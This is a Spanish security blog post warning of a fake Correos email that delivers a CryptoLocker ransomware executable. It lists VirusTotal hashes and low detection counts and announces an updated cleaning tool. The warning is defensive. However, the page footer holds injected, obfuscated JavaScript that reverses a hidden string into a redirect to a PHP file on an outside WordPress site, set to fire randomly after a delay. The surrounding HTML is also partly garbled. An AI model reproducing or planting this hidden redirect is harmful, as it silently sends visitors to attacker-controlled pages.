NUEVO FALSO MAIL DE CORREOS ANEXANDO NUEVO RANSOMWARE CRYPTOLOCKER “MEJORADO”
La imagen del mail que se recibe es la ya conocida:
to nuevo” width=”1024″ height=”768″ />
EL PREANALISIS DE VIRUSTOTAL OFRECE EL SIGUIENTE INFORME:
MD5 06c515469e3c7e4e42c677e8b7db3a2c
SHA1 8436bb20e68d59fda9aae378c4a5df07f2fd8a50
Tamaño del fichero 280.0 KB ( 286720 bytes )
SHA256: aeaa15bcf4bc1903056cf8ca8b64063d33f4eac69fd198b6cd0ecc1441aeb7f0
Nombre: carta_certificada_784512.exe
Detecciones: 2 / 55
Fecha de análisis: 2015-04-22 10:20:43 UTC ( hace 3 minutos )
0 1
Antivirus Resultado Actualización
Bkav HW32.Packed.ED59 20150421
Tencent Trojan.Win32.Qudamah.Gen.24 20150422
Como se ve son aun muy pocos los AV que lo controlan, por lo que ya hemos enviado muestra tanto a McAfee como a Kaspersky para que lo añadan a lñas proximas versiones de sus AV.
Nosotros pasamos a compilar y subir nueva version del ELISTARA 32.13 dada la continua afluencia de estas nuevas variantes , tanto de ESTE CRYPTOLOCKER como de los abundantes CTBLOCKERS nuevos de hoy
saludos
ms, 22-4-2015
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-nuevo1.jpg”><img decoding=){kind=link}
Los comentarios están cerrados.